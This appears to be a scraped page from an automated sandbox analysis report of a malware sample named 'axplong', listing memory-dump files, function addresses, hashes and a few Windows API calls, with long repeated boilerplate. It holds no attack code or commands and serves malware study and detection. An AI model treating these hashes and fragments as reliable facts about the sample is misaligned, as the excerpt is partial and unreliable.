Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 93c881cbcab2fd25ea185a6f2dfbead54c7a21586370338d014bc50c0fc9aef8
Instruction ID: 15556a853f9f2ca85f5f257878f287b353717eb68347c7034127d10d24d80d6f
Opcode Fuzzy Hash: 93c881cbcab2fd25ea185a6f2dfbead54c7a21586370338d014bc50c0fc9aef8
Instruction Fuzzy Hash: A7514771D002089BEB14EB68CD4ABEDB775DB45350F5043ADE808A7381EF749A809B92

Function 00F96F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00F96FB3

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: ef4e01e391b54509c5172c1047a1297681a75e6f46114fe663adcb7b8185984c
Instruction ID: fa17bd45767c84e1de80a68ec2e9fedb86fa62e48950d773d263fcc50f3a86d2
Opcode Fuzzy Hash: ef4e01e391b54509c5172c1047a1297681a75e6f46114fe663adcb7b8185984c
Instruction Fuzzy Hash: 17112EB290020CABDF11DE95D944EDFB7BCAF48324F504266F611E6180EB34EB44DB61

Function 00F9AF0B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,A7E9840F,?,?,00F7D32C,A7E9840F,?,00F778FB,?,?,?,?,?,?,00F67435,?), ref: 00F9AF3E

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 24dd2e345e05232f3bf8888b31a55f0821ed6f9e5f59b398849101e7eeb7196d
Instruction ID: f427386282889c316ec8a618aca64e1bf63de6c8c9a9d5aded8c4719e8ab1253
Opcode Fuzzy Hash: 24dd2e345e05232f3bf8888b31a55f0821ed6f9e5f59b398849101e7eeb7196d
Instruction Fuzzy Hash: 27E022B2A1A62266FF20322B5C05B6B3AC88FC23F9F050150EC049B081CF65CC00B6E3

Function 00F76AE0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00F76B65

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: cb9fe4acb26528a324b57da545b2a6b3805c07d587ee97c3d33fb34a8b372af8
Instruction ID: 8c1f6d8827402a26a13fa07508963c9b96ddb38060abdaa2d3dd4e056185b51d
Opcode Fuzzy Hash: cb9fe4acb26528a324b57da545b2a6b3805c07d587ee97c3d33fb34a8b372af8
Instruction Fuzzy Hash: 61F0F971E40608ABC704BBA8DE07B1DBB74E747B60F904349E825672D1DB745900A7D3

Function 059A0D7F Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2641456330.00000000059A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 059A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_59a0000_axplong.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f60a3d1c313ba5785bd3859520ac61c966135a6db894beb897ef9dc58ccb5a
Instruction ID: 0545f9e1ddc312d7416ade00c90ec0d083189330ba78a3b8dafd92ad16777c37
Opcode Fuzzy Hash: 28f60a3d1c313ba5785bd3859520ac61c966135a6db894beb897ef9dc58ccb5a
Instruction Fuzzy Hash: 78E0C2DF188360EDA1D2C087634D2BA7F6BE2EF2302344C12F10B8860390D81BAD71B2

Non-executed Functions

Function 00FA3068 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00FA31E3

Strings

1#INF, xrefs: 00FA439E
1#IND, xrefs: 00FA4373
1#SNAN, xrefs: 00FA437A
1#QNAN, xrefs: 00FA4381

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3977196d52faa8596856c2295a88752be775724f66e94d8389eb77da6bb740d0
Instruction ID: a916341382a14fe5d62d971d14fcc371db107689188466d86fff65b53a296c41
Opcode Fuzzy Hash: 3977196d52faa8596856c2295a88752be775724f66e94d8389eb77da6bb740d0
Instruction Fuzzy Hash: 8DC250B1E046288FDF25CE28DD407E9B3B5EB89355F1441EAE44DE7240E778AE85AF40

Function 00FA2BD0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: ccbb96794c9c3ca96d9b23a2a865850374a8de1f9a1e084701f741b9fe0d66dd
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: EBF13FB1E012199FDF14CFACC8806AEB7B1FF49324F158269E919AB345D731AE41DB90

Function 00F7CB1A Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00F7CE82,?,?,?,?,00F7CEB7,?,?,?,?,?,?,00F7C42D,?,00000001), ref: 00F7CB33

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: f2791ad59cb99672da056bf53ddf9523648b78a9e50e11e12c23fcfe905dd222
Instruction ID: 00489e16e8edd0509ce053f5409ca1bbf9e8e4e2e5b468c0fdad67e0378ba717
Opcode Fuzzy Hash: f2791ad59cb99672da056bf53ddf9523648b78a9e50e11e12c23fcfe905dd222
Instruction Fuzzy Hash: ECD02232A0343CA3CA212B98FC099ADBB08DB82F60340422AFC08232208A116C407FD2

Function 00F97D83 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00F97EFF

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 4bcd0cacef889775c6f2701f621e5d31b73e050d7dde0dd2a16ac75c17f79b12
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: F551EA31A3C74856FF3CBA3888963BE779A9F42324F18045ED442D7A82DA11DD09F392

Function 00F64CF0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cadf2cbd89f592a246cecbff3d95e58f758f9f1f65f61be60b9515aafe1ba1e6
Instruction ID: c884403f87cf824fb789bd6eaa5b3f019252a153835349276ec4f4cbf1488628
Opcode Fuzzy Hash: cadf2cbd89f592a246cecbff3d95e58f758f9f1f65f61be60b9515aafe1ba1e6
Instruction Fuzzy Hash: 9D2260B3F515144BDB0CCB9DDCA27EDB2E3AFD8214B0E803DA40AE3345EA79D9159A44

Function 00FA6F09 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c7ba923bcbfa244ac722abe3a40cdd4e59bdcc369fc8949a79b218289136a0
Instruction ID: a9d7a54540778639f288d1794e7c29689f4cf9f04687ef57b85208f9d8da4481
Opcode Fuzzy Hash: d2c7ba923bcbfa244ac722abe3a40cdd4e59bdcc369fc8949a79b218289136a0
Instruction Fuzzy Hash: F9B17CB2614608DFD714DF28C886F657BE0FF46364F298658E899CF2A1C335E982DB40

Function 00F64AF0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 838edd8ea2a19acc77cfb1f315143e183774b405dd6d3d86bfc756259b410cea
Instruction ID: b98a71fdc0f69ba44b08830e40edc87b4628722a573ae45efb337d676cf954f2
Opcode Fuzzy Hash: 838edd8ea2a19acc77cfb1f315143e183774b405dd6d3d86bfc756259b410cea
Instruction Fuzzy Hash: 5051C37160C7918FC319DF2D851523ABFE1BFD5200F084A9EE0D687292D774E644DBA2

Function 00FA777B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd54078afca3a8434ea0e137c1f71ef1c9a33ab2caacdd05c022d5e6a335d553
Instruction ID: 5295c9b913938099698e10a25b8b1fc928d15cbb5e196a40e6eda1aa1c089375
Opcode Fuzzy Hash: fd54078afca3a8434ea0e137c1f71ef1c9a33ab2caacdd05c022d5e6a335d553
Instruction Fuzzy Hash: 8721B673F205394B770CC47E8C5727DB6E1C68C541745423AE8A6EA2C1D96CD917E2E4

Function 00FA765B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc20b0834765cb11621177f9c68fcfd9dd4a95f82689669ba15e5f9a6d144f67
Instruction ID: c49bf5e40f04136533c45f362c7fb42f99078903b0bf39463b065b1d835b6f08
Opcode Fuzzy Hash: fc20b0834765cb11621177f9c68fcfd9dd4a95f82689669ba15e5f9a6d144f67
Instruction Fuzzy Hash: 1B118A63F30C255B675C817D8C173BAA5D2DBD825071F533AD826EB384E994DE23D290

Function 00FA8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 2c4086c2fa2ed41cab8b51167662b42255928fe502c5910d9ef496d7aeebfd7d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: CE110BF760014147D705C62DC9F8AB6A796EAC73B1B3C4375D0424B758DAA29947F500

Function 00F9645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

